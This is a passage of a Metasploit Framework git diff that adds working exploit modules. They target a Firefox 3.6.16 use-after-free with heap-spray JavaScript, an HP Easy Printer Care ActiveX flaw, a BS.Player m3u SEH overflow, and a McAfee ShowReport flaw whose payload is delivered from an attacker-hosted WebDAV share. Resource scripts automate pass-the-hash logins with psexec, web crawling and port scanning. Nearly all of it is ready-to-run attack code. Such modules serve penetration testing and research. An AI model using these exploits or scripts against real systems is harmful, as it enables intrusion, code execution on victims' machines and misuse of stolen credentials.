@dhosts.push(dhost) end} + dhosts_range.each{|dhost| if Rex::Socket.is_ipv4?(dhost) and dhost != @sip then @dhosts.push(dhost) end} #Build the local dest hosts cache print_status("Building the destination hosts cache...") @@ -329,12 +329,6 @@ class Metasploit3 < Msf::Auxiliary else false end end - #copy paste from rex::socket cause we need only ipv4 - #NOTE: Breaks msftidy's rule on long lines, should be refactored for readability. - def is_ipv4?(addr) - (addr =~ /^(?:(?:25[0-5]|2[0-4][0-9]|[0-1]?[0-9]{1,2})[.](?:25[0-5]|2[0-4][0-9]|[0-1]?[0-9]{1,2})[.](?:25[0-5]|2[0-4][0-9]|[0-1]?[0-9]{1,2})[.](?:25[0-5]|2[0-4][0-9]|[0-1]?[0-9]{1,2}))$/) ? true : false - end - def buildprobe(shost, smac, dhost) p = PacketFu::ARPPacket.new p.eth_saddr = smac diff --git a/modules/exploits/osx/browser/mozilla_mchannel.rb b/modules/exploits/osx/browser/mozilla_mchannel.rb new file mode 100644 index 0000000000..70ed1a5adb --- /dev/null +++ b/modules/exploits/osx/browser/mozilla_mchannel.rb @@ -0,0 +1,159 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::Remote::BrowserAutopwn + + autopwn_info({ + :ua_name => HttpClients::FF, + :ua_minver => "3.6.16", + :ua_maxver => "3.6.16", + :os_name => OperatingSystems::MAC_OSX, + :javascript => true, + :rank => NormalRanking, + }) + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Mozilla Firefox 3.6.16 mChannel use after free vulnerability', + 'Description' => %q{ + This module exploits an use after free vulnerability in Mozilla + Firefox 3.6.16. An OBJECT Element mChannel can be freed via the + OnChannelRedirect method of the nsIChannelEventSink Interface. mChannel + becomes a dangling pointer and can be reused when setting the OBJECTs + data attribute. (Discovered by regenrecht). Mac OS X version by argp, + tested on Mac OS X 10.6.6, 10.6.7 and 10.6.8. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'regenrecht', # discovery + 'Rh0', # windows metasploit module + 'argp ' # mac os x target + ], + 'References' => + [ + ['CVE', '2011-0065'], + ['OSVDB', '72085'], + ['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=634986'], + ['URL', 'http://www.mozilla.org/security/announce/2011/mfsa2011-13.html'] + ], + 'Payload' => + { + 'Space' => 1024, + }, + 'Platform' => 'osx', + 'Targets' => + [ + [ + 'Firefox 3.6.16 on Mac OS X (10.6.6, 10.6.7 and 10.6.8)', + { + 'Arch' => ARCH_X86, + 'Fakevtable' => 0x2727, + 'Fakefunc' => 0x2727001c, + } + ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'May 10 2011' + )) + end + + def on_request_uri(cli, request) + # Random JavaScript variable names + js_element_name = rand_text_alpha(rand(10) + 5) + js_obj_addr_name = rand_text_alpha(rand(10) + 5) + js_sc_name = rand_text_alpha(rand(10) + 5) + js_ret_addr_name = rand_text_alpha(rand(10) + 5) + js_chunk_name = rand_text_alpha(rand(10) + 5) + js_final_chunk_name = rand_text_alpha(rand(10) + 5) + js_block_name = rand_text_alpha(rand(10) + 5) + js_array_name = rand_text_alpha(rand(10) + 5) + + # check for non vulnerable targets + agent = request.headers['User-Agent'] + + if agent !~ /Intel Mac OS X 10\.6/ and agent !~ /Firefox\/3\.6\.16/ + print_error("Target not supported: #{agent}") if datastore['VERBOSE'] + send_not_found(cli) + return + end + + # Re-generate the payload + return if ((payload = regenerate_payload(cli).encoded) == nil) + + payload_buf = '' + payload_buf << payload + escaped_payload = Rex::Text.to_unescape(payload_buf) + + # setup the fake memory references + my_target = targets[0] # in case we add more targets later + fakevtable = Rex::Text.to_unescape([my_target['Fakevtable']].pack('v')) + fakefunc = Rex::Text.to_unescape([my_target['Fakefunc']].pack('V*')) + + exploit_js = <<-JS + #{js_element_name} = document.getElementById("d"); + #{js_element_name}.QueryInterface(Components.interfaces.nsIChannelEventSink); + #{js_element_name}.onChannelRedirect(null, new Object, 0) + + #{js_obj_addr_name} = unescape("\x00#{fakevtable}"); + + var #{js_sc_name} = unescape("#{escaped_payload}"); + + var #{js_ret_addr_name} = unescape("#{fakefunc}"); + + while(#{js_ret_addr_name}.length < 0x120) + { + #{js_ret_addr_name} += #{js_ret_addr_name}; + } + + var #{js_chunk_name} = #{js_ret_addr_name}.substring(0, 0x18); + #{js_chunk_name} += #{js_sc_name}; + #{js_chunk_name} += #{js_ret_addr_name}; + var #{js_final_chunk_name} = #{js_chunk_name}.substring(0, 0x10000 / 2); + + while(#{js_final_chunk_name}.length < 0x800000) + { + #{js_final_chunk_name} += #{js_final_chunk_name}; + } + + var #{js_block_name} = #{js_final_chunk_name}.substring(0, 0x80000 - #{js_sc_name}.length - 0x24 / 2 - 0x4 / 2 - 0x2 / 2); + + #{js_array_name} = new Array() + + for(n = 0; n < 0x220; n++) + { + #{js_array_name}[n] = #{js_block_name} + #{js_sc_name}; + } + JS + + html = <<-HTML + + + + + + + HTML + + #Remove the extra tabs + html = html.gsub(/^\t\t/, '') + print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...") + send_response_html(cli, html, { 'Content-Type' => 'text/html' }) + + # Handle the payload + handler(cli) + end + +end diff --git a/modules/exploits/windows/browser/hp_easy_printer_care_xmlcachemgr.rb b/modules/exploits/windows/browser/hp_easy_printer_care_xmlcachemgr.rb new file mode 100644 index 0000000000..a428c2bbb2 --- /dev/null +++ b/modules/exploits/windows/browser/hp_easy_printer_care_xmlcachemgr.rb @@ -0,0 +1,158 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = GreatRanking + + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::EXE + include Msf::Exploit::WbemExec + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'HP Easy Printer Care XMLCacheMgr Class ActiveX Control Remote Code Execution', + 'Description' => %q{ + This module allows remote attackers to place arbitrary files on a users file + system by abusing the "CacheDocumentXMLWithId" method from the "XMLCacheMgr" + class in the HP Easy Printer HPTicketMgr.dll ActiveX Control (HPTicketMgr.dll + 2.7.2.0). + + Code execution can be achieved by first uploading the payload to the remote + machine embeddeding a vbs file, and then upload another mof file, which enables + Windows Management Instrumentation service to execute the vbs. Please note that + this module currently only works for Windows before Vista. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Andrea Micalizzi', # aka rgod original discovery + 'juan vazquez', # Metasploit module + ], + 'References' => + [ + [ 'CVE', '2011-4786'], + [ 'BID', '51396'], + [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-013/' ], + ], + 'DefaultOptions' => + { + 'InitialAutoRunScript' => 'migrate -f', + }, + 'Payload' => + { + 'Space' => 2048, + 'StackAdjustment' => -3500, + }, + 'Platform' => 'win', + 'Targets' => + [ + #Windows before Vista + [ 'Automatic', { } ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jan 11 2012')) + end + + # + # The following handles deleting the copied vbs payload and mof file + # See "struts_code_exec.rb" and "ms10_026_dbldecode.rb" for more information. + # + def on_new_session(client) + + if client.type != "meterpreter" + print_error("NOTE: you must use a meterpreter payload in order to automatically cleanup.") + print_error("The vbs payload and mof file must be removed manually.") + return + end + + return if not @var_mof_name + return if not @var_vbs_name + + # stdapi must be loaded before we can use fs.file + client.core.use("stdapi") if not client.ext.aliases.include?("stdapi") + + cmd = "C:\\windows\\system32\\attrib.exe -r " + + "C:\\windows\\system32\\wbem\\mof\\good\\" + @var_mof_name + ".mof" + + client.sys.process.execute(cmd, nil, {'Hidden' => true }) + + begin + print_status("Deleting the vbs payload \"#{@var_vbs_name}.vbs\" ...") + client.fs.file.rm("C:\\windows\\system32\\" + @var_vbs_name + ".vbs") + print_status("Deleting the mof file \"#{@var_mof_name}.mof\" ...") + client.fs.file.rm("C:\\windows\\system32\\wbem\\mof\\good\\" + @var_mof_name + ".mof") + rescue ::Exception => e + print_error("Exception: #{e.inspect}") + end + + end + + def on_request_uri(cli, request) + + unless request['User-Agent'] =~ /MSIE/ + send_not_found(cli) + print_error("#{cli.peerhost}:#{cli.peerport} Unknown user-agent") + return + end + + # Using Windows Management Instrumentation service to execute the payload. + # Using code from "blackice_downloadimagefileurl.rb". See it for more information. + + var_xmlcachemgr = rand_text_alpha(rand(5)+5) + var_mof_function_name = rand_text_alpha(rand(5)+5) + + content = <<-EOS + + + + + + EOS + + print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...") + send_response_html(cli, content) + handler(cli) + end + + def exploit + # In order to save binary data to the file system the payload is written to a .vbs + # file and execute it from there. + @var_mof_name = rand_text_alpha(rand(5)+5) + @var_vbs_name = rand_text_alpha(rand(5)+5) + + print_status("Encoding payload into vbs...") + payload = generate_payload_exe + @vbs_content = Rex::Text.to_hex(Msf::Util::EXE.to_exe_vbs(payload)) + + print_status("Generating mof file...") + @mof_content = Rex::Text.to_hex(generate_mof("#{@var_mof_name}.mof", "#{@var_vbs_name}.vbs")) + super + end + +end diff --git a/modules/exploits/windows/browser/ms05_054_onload.rb b/modules/exploits/windows/browser/ms05_054_onload.rb index 27123ab623..6d9a69ea12 100644 --- a/modules/exploits/windows/browser/ms05_054_onload.rb +++ b/modules/exploits/windows/browser/ms05_054_onload.rb @@ -14,7 +14,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Microsoft Internet Explorer JavaScript OnLoad Handler Remote Code Execution Vulnerability', + 'Name' => 'MS05-054: Microsoft Internet Explorer JavaScript OnLoad Handler Remote Code Execution', 'Description' => %q{ This bug is triggered when the browser handles a JavaScript 'onLoad' handler in conjunction with an improperly initialized 'window()' JavaScript function. @@ -38,6 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote [ ['MSB', 'MS05-054'], ['CVE', '2005-1790'], + ['OSVDB', '17094'], ['URL', 'http://www.securityfocus.com/bid/13799/info'], ['URL', 'http://www.cvedetails.com/cve/CVE-2005-1790'], ], diff --git a/modules/exploits/windows/fileformat/bsplayer_m3u.rb b/modules/exploits/windows/fileformat/bsplayer_m3u.rb new file mode 100644 index 0000000000..1893303656 --- /dev/null +++ b/modules/exploits/windows/fileformat/bsplayer_m3u.rb @@ -0,0 +1,136 @@ +## +# $Id: $ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::FILEFORMAT + include Msf::Exploit::Seh + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'BS.Player 2.57 Buffer Overflow Exploit (Unicode SEH)', + 'Description' => %q{ + This module exploits a buffer overflow in BS.Player 2.57. When + the playlist import is used to import a specially crafted m3u file, + a buffer overflow occurs allowing arbitrary code execution. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'C4SS!0 G0M3S ', # Original Exploit + 'Chris Gabriel', # MSF Module + #Greets: Corelan team for mona.py & awesome tutorials + ], + 'References' => + [ + [ 'URL', 'http://www.exploit-db.com/exploits/15934/' ] + ], + 'DefaultOptions' => + { + 'ExitFunction' => 'process', + #'InitialAutoRunScript' => 'migrate -f', + }, + 'Platform' => 'win', + 'Payload' => + { + 'Space' => 2000, + 'BadChars' => "\x00\x0a\x0d\x1a\x80", + 'DisableNops' => true, + 'StackAdjustment' => -3500, + }, + + 'Targets' => + [ + [ 'Windows XP', + { + 'Ret' => "\x2f\x49", + 'Offset' => 4102 + } + ], # pop ecx # pop ebp # ret 0c | startnull,unicode,asciiprint,ascii {PAGE_EXECUTE_READWRITE} [bsplayer.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v2.5.7.1051 (bsplayer.exe) + + [ 'Windows 7', + { + 'Ret' => "\x2f\x49", + 'Offset' => 4102 + } + ], # pop ecx # pop ebp # ret 0c | startnull,unicode,asciiprint,ascii {PAGE_EXECUTE_READWRITE} [bsplayer.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v2.5.7.1051 (bsplayer.exe) + ], + 'Privileged' => false, + 'DisclosureDate' => 'Jan 07 2010', + 'DefaultTarget' => 0)) + + register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']),], self.class) + + end + + def exploit + + nseh = "\x61\x42" + + align = "\x58" # POP EAX + align += "\x6d" # PAD + align += "\x58" # POP EAX + align += "\x6d" # PAD + align += "\x58" # POP EAX + align += "\x6d" # PAD + align += "\x58" # POP EAX + align += "\x6d" # PAD + align += "\x58" # POP EAX + align += "\x6d" # PAD + align += "\x58" # POP EAX + align += "\x6d" # PAD + align += "\x58" # POP EAX + align += "\x6d" # PAD + align += "\x58" # POP EAX + align += "\x6d" # PAD + align += "\x58" # POP EAX + align += "\x6d" # PAD + align += "\x58" # POP EAX + align += "\x6d" # PAD + align += "\x58" # POP EAX + align += "\x6d" # PAD + align += "\x58" # POP EAX + align += "\x6d" # PAD + align += "\x58" # POP EAX + align += "\x6d" # PAD + align += "\x50" # PUSH EAX + align += "\x6d" # PAD + align += "\xc3" # RET + + if target == targets[0] then + padding = rand_text_alpha_lower(1879) + elsif target == targets[1] then + padding = rand_text_alpha_lower(1931) + end + + enc = framework.encoders.create('x86/unicode_mixed') + + register_to_align_to = "EAX" + + enc.datastore.import_options_from_hash({ 'BufferRegister' => register_to_align_to }) + + unicodepayload = enc.encode(payload.encoded, nil, nil, platform) + + buffer = "http://" + buffer << rand_text_alpha_lower(target['Offset']) + buffer << nseh + buffer << target['Ret'] + buffer << align + buffer << padding + buffer << unicodepayload + + file_create(buffer) + + end +end diff --git a/modules/exploits/windows/fileformat/mcafee_showreport_exec.rb b/modules/exploits/windows/fileformat/mcafee_showreport_exec.rb new file mode 100644 index 0000000000..c1cd7a1259 --- /dev/null +++ b/modules/exploits/windows/fileformat/mcafee_showreport_exec.rb @@ -0,0 +1,368 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::FILEFORMAT + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::EXE + + def initialize(info={}) + super(update_info(info, + 'Name' => "McAfee SaaS MyCioScan ShowReport Remote Command Execution", + 'Description' => %q{ + This module exploits a vulnerability found in McAfee Security-as-a-Service. + The ShowReport() function (located in the myCIOScn.dll ActiveX component) fails + to check the FileName argument, and passes it on to a ShellExecuteW() function, + therefore allows any malicious attacker to execute any process that's on the + local system. However, if the victim machine is connected to a remote share ( + or something similiar), then it's also possible to execute arbitrary code. + Please note that a custom template is required for the payload, because the + default Metasploit template is detectable by McAfee -- any Windows binary, such + as calc.exe or notepad.exe, should bypass McAfee fine. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'rgod', #Initial discovery + 'sinn3r', #Metasploit + ], + 'References' => + [ + ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-012'], + ], + 'Payload' => + { + 'BadChars' => "\x00", + }, + 'DefaultOptions' => + { + 'ExitFunction' => "none", + #'InitialAutoRunScript' => 'migrate -f', + 'DisablePayloadHandler' => 'false', + }, + 'Platform' => 'win', + 'Targets' => + [ + ['Internet Explorer', {}], + ], + 'Privileged' => false, + 'DisclosureDate' => "Apr 1 2011", + 'DefaultTarget' => 0)) + + register_options([ + OptPort.new('SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]), + OptString.new('SHARENAME', [ true, "The name of the top-level share.", "files"]), + OptString.new('URIPATH', [ true, "The URI to use", "/" ]), + OptString.new('FILENAME', [ true, 'The file name.', 'msf.html']), + OptPath.new('TEMPLATE', [true, 'A custom template for the payload in order to bypass McAfee', '']) + ], self.class) + end + + def on_request_uri(cli, request) + case request.method + when 'OPTIONS' + process_options(cli, request) + when 'PROPFIND' + process_propfind(cli, request) + when 'GET' + process_get(cli, request) + else + print_status("#{cli.peerhost}:#{cli.peerport} #{request.method} => 404 (#{request.uri})") + resp = create_response(404, "Not Found") + resp.body = "" + resp['Content-Type'] = 'text/html' + cli.send_response(resp) + end + end + + def process_get(cli, request) + print_status("URI requested: #{request.uri.to_s}") + + if request.uri =~ /\.vbs$/i + # Depending on the connection speed, this might take a moment to transfer the + # payload and actually get executed + send_response(cli, @vbs, {'Content-Type'=>'application/octet-stream'}) + print_status("executable sent") + else + # Don't know the request, return not found + print_error("Don't care about this file, 404") + send_not_found(cli) + end + + return + end + + def process_options(cli, request) + vprint_status("#{cli.peerhost}:#{cli.peerport} OPTIONS #{request.uri}") + headers = { + 'MS-Author-Via' => 'DAV', + 'DASL' => '', + 'DAV' => '1, 2', + 'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH', + 'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK', + 'Cache-Control' => 'private' + } + + resp = create_response(207, "Multi-Status") + headers.each_pair {|k,v| resp[k] = v } + resp.body = '' + resp['Content-Type'] = 'text/xml' + cli.send_response(resp) + end + + def process_propfind(cli, request) + path = request.uri + vprint_status("Received WebDAV PROPFIND request from #{cli.peerhost}:#{cli.peerport} #{path}") + body = '' + + my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] + my_uri = "http://#{my_host}/" + + if path !~ /\/$/ + if path.index(".") + print_status("Sending 404 for #{path} ...") + resp = create_response(404, "Not Found") + resp['Content-Type'] = 'text/html' + cli.send_response(resp) + return + else + print_status("Sending 301 for #{path} ...") + resp = create_response(301, "Moved") + resp["Location"] = path + "/" + resp['Content-Type'] = 'text/html' + cli.send_response(resp) + return + end + end + + print_status("Sending directory multistatus for #{path} ...") + + body = <<-BODY + + + + #{path} + + + + 2010-07-19T20:29:42Z + Mon, 19 Jul 2010 20:29:42 GMT + "#{"%.16x" % rand(0x100000000)}" + + + + + + + + + + + + httpd/unix-directory + + HTTP/1.1 200 OK + + + BODY + + body = body.gsub(/^\t\t/, '') + + if request["Depth"].to_i > 0 + if path.scan("/").length < 2 + body << generate_shares(path) + else + # Set payload name, and set the hidden attribute. True means visible + filenames = [ [@vbs_name, false] ] + body << generate_files(path, filenames) + end + end + + body << "" + + body.gsub!(/\t/, '') + + # send the response + resp = create_response(207, "Multi-Status") + resp.body = body + resp['Content-Type'] = 'text/xml; charset="utf8"' + cli.send_response(resp) + end + + def gen_timestamp(ttype=nil) + ::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT") + end + + def gen_datestamp(ttype=nil) + ::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ") + end + + def generate_shares(path) + share_name = datastore['SHARENAME'] + share = <<-SHARE + + #{path}#{share_name}/ + + + + #{gen_datestamp} + #{gen_timestamp} + "#{"%.16x" % rand(0x100000000)}" + + + + + + + + + + + + httpd/unix-directory + + HTTP/1.1 200 OK + + + SHARE + share = share.gsub(/^\t\t/, '') + return share + end + + def generate_files(path, items) + trail = path.split("/") + return "" if trail.length < 2 + + files = "" + items.each do |f, hide| + h = hide ? '1' : '0' + files << <<-FILES + + #{path}#{f} + + + + #{gen_datestamp} + #{rand(0x10000)+120} + #{gen_timestamp} + "#{"%.16x" % rand(0x100000000)}" + T + + + + + + + + + + + + application/octet-stream + + HTTP/1.1 200 OK + #{h} + + + FILES + end + + files = files.gsub(/^\t\t\t/, '') + + return files + end + + def get_payload + fname = rand_text_alpha(5) + ".vbs" + p = payload.encoded + exe = Msf::Util::EXE.to_win32pe($framework, p, {:inject=>true, :template=>datastore['TEMPLATE']}) + vbs = Msf::Util::EXE.to_exe_vbs(exe) + return fname, vbs + end + + def exploit + @vbs_name, @vbs = get_payload + + # + # progid: MYCIOSCNLib.Scan + # clsid:209EBDEE-065C-11D4-A6B8-00C04F0D38B7 + # + myhost = datastore['LHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['LHOST'] + obj_name = rand_text_alpha(rand(6) + 3) + sub_name = rand_text_alpha(rand(6) + 3) + html = <<-HTML + + + + + + + + + HTML + + html = html.gsub(/^\t\t/, '') + file_create(html) + print_status("#{datastore['FILENAME']} must be run locally in order to execute our payload") + + super + end + +end + +=begin +myCIOScn!CScnXml::SetNumScanned+0x19ab: +2101caf9 55 push ebp + +0:003> lmv m myCIOScn +start end module name +21000000 2106d000 myCIOScn (export symbols) C:\PROGRA~1\McAfee\MANAGE~1\VScan\myCIOScn.dll + Loaded symbol image file: C:\PROGRA~1\McAfee\MANAGE~1\VScan\myCIOScn.dll + Image path: C:\PROGRA~1\McAfee\MANAGE~1\VScan\myCIOScn.dll + Image name: myCIOScn.dll + Timestamp: Wed Aug 10 11:34:01 2011 (4E42CF19) + CheckSum: 0007C3A6 + ImageSize: 0006D000 + File version: 5.2.3.104 + Product version: 5.2.0.0 + File flags: 0 (Mask 3F) + File OS: 40004 NT Win32 + File type: 1.0 App + File date: 00000000.00000000 + Translations: 0409.04b0 + CompanyName: McAfee, Inc. + ProductName: McAfee® Security-as-a-Service + InternalName: myCioScn + OriginalFilename: myCioScn.DLL + ProductVersion: 5.2.3 + FileVersion: 5.2.3.104 + PrivateBuild: 5.2.3.104 + SpecialBuild: FULL + FileDescription: myCioScn Module + +.text:2101CB1A push esi +.text:2101CB1B push 1 +.text:2101CB1D xor esi, esi +.text:2101CB1F push esi +.text:2101CB20 push esi +.text:2101CB21 push eax ; we own this +.text:2101CB22 push offset aOpen ; "open" +.text:2101CB27 push esi +.text:2101CB28 mov [ebp+0A50h+Str], eax +.text:2101CB2B call off_2105D350 ; ShellExecuteW +=end \ No newline at end of file diff --git a/modules/exploits/windows/ftp/ability_server_stor.rb b/modules/exploits/windows/ftp/ability_server_stor.rb index 5bc61eea06..376b5ede56 100644 --- a/modules/exploits/windows/ftp/ability_server_stor.rb +++ b/modules/exploits/windows/ftp/ability_server_stor.rb @@ -93,10 +93,10 @@ class Metasploit3 < Msf::Exploit::Remote def exploit connect_login - myHost = datastore['LHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['LHOST'] + myhost = datastore['LHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['LHOST'] # Take client ip + ftp user lengths into account for EIP offset - padd_size = target['Offset'] + (13 - myHost.length) + (3 - datastore['FTPUSER'].length) + padd_size = target['Offset'] + (13 - myhost.length) + (3 - datastore['FTPUSER'].length) junk = rand_text_alpha(padd_size) sploit = junk diff --git a/scripts/resource/auto_pass_the_hash.rc b/scripts/resource/auto_pass_the_hash.rc new file mode 100644 index 0000000000..8799edfc42 --- /dev/null +++ b/scripts/resource/auto_pass_the_hash.rc @@ -0,0 +1,99 @@ +# auto-pass_the_hash.rc +# Author: m-1-k-3 (Web: http://www.s3cur1ty.de / Twitter: @s3cur1ty_de) + +# This Metasploit RC-File could be used to automatically check already discovered windows hashes +# with jtr before login testing, after jtr is started it uses the hashes with pass the hash +# against windows fileservices. -> first we have to fill up the db with operating system infos +# we use psexec only against windows systems. Hint: smb_version + + + +#psexec needs a payload +if framework.datastore['PAYLOAD'] + pload = framework.datastore['PAYLOAD'] +else #just to get sure that we have a backup payload + pload = "windows/meterpreter/bind_tcp" +end + +if pload =~ /reverse/ and not framework.datastore['LHOST'] + print_error("You have to set LHOST globally!") + return +end + +if (framework.datastore['JOHN'] == "true") # we can set a global JOHN Option to control the usage of the jtr modules + jotr = 1 +else + jotr = 0 +end + +if (framework.datastore['VERBOSE'] == "true") #we look in the global datastore for a global VERBOSE option and use it + verbose = 1 #true +else + verbose = 0 +end + +def infos(serv,creds,host) + print_line("") + print_line("====================================") + print_line("IP: #{host.address}") + print_line("OS: #{host.os_name}") + print_line("Servicename: #{serv.name}") + print_line("Service Port: #{serv.port.to_i}") + print_line("Service Protocol: #{serv.proto}") + print_line("user: #{creds.user}") + print_line("pass: #{creds.pass}") + print_line("====================================") + print_line("") +end + +framework.db.creds.each do |creds| # just checking if we have any smb_hashes in the creds db + next if (creds.ptype !~ /smb_hash/) + + if (jotr == 1) + # first checking weak windows hashes with john ... because of the filtering before, we are sure that + # this is a windows hash + # on the first found hash we are going to analyse all hashes - then we set jotr to 0 + + print_line("using jtr_crack_fast") + run_single("use auxiliary/analyze/jtr_crack_fast") + # we use the info from Msf::Config.install_root and append the following path to it (thx to sinn3r) + run_single("set JOHN_BASE #{Msf::Config.install_root}/data/john") + run_single("set JOHN_PATH #{Msf::Config.install_root}/data/john") + run_single("run -j") + run_single("back") + jotr = 0 # jtr modules tries to crack all smb_hashes from the db ... so we could leave it now + end + + smbhash = creds.pass + username = creds.user + + framework.db.hosts.each do |host| + next if (host.os_name !~ /Windows/) # pass the hash works just for Win + + host.services.each do |serv| + next if not serv.host + next if (serv.state != ServiceState::Open) + next if (serv.name !~ /smb/) + + print_line("using psexec - Pass the hash") + if(verbose == 1) + infos(serv,creds,host) + end + run_single("use exploit/windows/smb/psexec") + run_single("set RHOST #{host.address}") + run_single("set RPORT #{serv.port}") + run_single("set SMBUser #{username}") + run_single("set SMBPass #{smbhash}") + run_single("set PAYLOAD #{pload}") + if pload =~ /reverse/ + run_single("set LPORT #{(rand(0x8fff) + 4000).to_s}") + end + if(verbose == 1) + run_single("set VERBOSE true") + end + run_single("exploit -j -z") + run_single("back") + end + end +end + diff --git a/scripts/resource/autocrawler.rc b/scripts/resource/autocrawler.rc new file mode 100644 index 0000000000..e8a40be498 --- /dev/null +++ b/scripts/resource/autocrawler.rc @@ -0,0 +1,58 @@ +# autocrawler.rc +# Author: m-1-k-3 (Web: http://www.s3cur1ty.de / Twitter: @s3cur1ty_de) + +# This Metasploit RC-File could be used to crawl webapps automatically +# it uses the allready discovered webservers - "services -s http" / "services -s https" +# you could use db_nmap or http_version for discovering the werbservers +# some basic jobhandling to not kill our own machine is included - check the maxjobs and threadspercrawler variables + + +if (framework.datastore['VERBOSE'] == "true") #we look in the global datastore for a global VERBOSE option and use it + verbose = 1 #true +else + verbose = 0 +end + +threadspercrawler = "4" #check this ... now its default + +def jobwaiting() #thread handling for poor guys ... + maxjobs=15 #throttling if we get too much jobs + while(framework.jobs.keys.length >= maxjobs) + ::IO.select(nil, nil, nil, 2.5) + print_error("waiting for finishing some modules... active jobs: #{framework.jobs.keys.length} / threads: #{framework.threads.length}") + end +end + +framework.db.workspace.hosts.each do |host| + host.services.each do |serv| + next if not serv.host + next if (serv.state != ServiceState::Open) + next if (serv.name !~ /http/) + + if(verbose == 1) + print_line("IP: #{host.address}") + print_line("OS: #{host.os_name}") + print_line("Servicename: #{serv.name}") + print_line("Service Port: #{serv.port.to_i}") + print_line("Service Protocol: #{serv.proto}") + end + run_single("use auxiliary/scanner/http/crawler") + run_single("set MAX_THREADS #{threadspercrawler}") + run_single("set RHOST #{host.address}") + run_single("set RPORT #{serv.port.to_i}") + if(serv.name == "https") + run_single("set SSL true") + else + run_single("set SSL false") + end + if(verbose == 1) + run_single("set VERBOSE true") + run_single("run -j") + else + run_single("run -j -q") + end + run_single("back") + jobwaiting() + end +end + diff --git a/scripts/resource/port_cleaner.rb b/scripts/resource/port_cleaner.rb new file mode 100644 index 0000000000..cdf3ce60f1 --- /dev/null +++ b/scripts/resource/port_cleaner.rb @@ -0,0 +1,22 @@ +# portcleaner.rc +# Author: m-1-k-3 (Web: http://www.s3cur1ty.de / Twitter: @s3cur1ty_de) + +# This Metasploit RC-File could be used to clean up your metasploit database from closed ports + + +counter = 0 +framework.db.hosts.each do |host| + host.services.each do |serv| + next if not serv.host + if (serv.state != ServiceState::Open) + print_line("cleaning closed services (Port: #{serv.port.to_i} / Host: #{host.address})") + run_single("services -d -p #{serv.port.to_i} -r #{serv.proto} #{host.address}") + counter = counter + 1 + next + end + end +end +print_line("") +print_line("cleaned #{counter} closed ports") +print_line("") + diff --git a/scripts/resource/portscan.rc b/scripts/resource/portscan.rc new file mode 100644 index 0000000000..faf339b4a9 --- /dev/null +++ b/scripts/resource/portscan.rc @@ -0,0 +1,53 @@ +# portscan.rc +# Author: m-1-k-3 (Web: http://www.s3cur1ty.de / Twitter: @s3cur1ty_de) + +# This Metasploit RC-File could be used to portscan the network via nmap or via the internal portscanner module +# it also uses the udp_sweep module +# RHOSTS is used from the global datastore + + +#set ports for Metasploit tcp-portscanner (change this for your needs): +ports = "7,21,22,23,25,43,50,53,67,68,79,80,109,110,111,123,135,137,138,139,143,161,264,265,389,443,445,500,631,901,995,1241,1352,1433,1434,1521,1720,1723,3306,3389,3780,4662,5800,5801,5802,5803,5900,5901,5902,5903,6000,6666,8000,8080,8443,10000,10043,27374,27665" + +if (framework.datastore['RHOSTS'] == nil) + print_status("you have to set RHOSTS globally ... exiting") + return +end + +if (framework.datastore['VERBOSE'] == "true") #we look in the global datastore for a global VERBOSE option and use it + verbose = 1 #true +else + verbose = 0 +end + +if (framework.datastore['THREADS'] == nil) #default to 100 Threads + run_single("setg THREADS 100") +end + +if (framework.datastore['NMAP'] == nil or framework.datastore['NMAP'] == "true") #default usage of nmap as portscanner + nmap = 1 +else + nmap = 0 +end + +print_line("") +print_line("starting portscanners ...") +print_line("") +print_line("Module: udp_sweep") +run_single("use 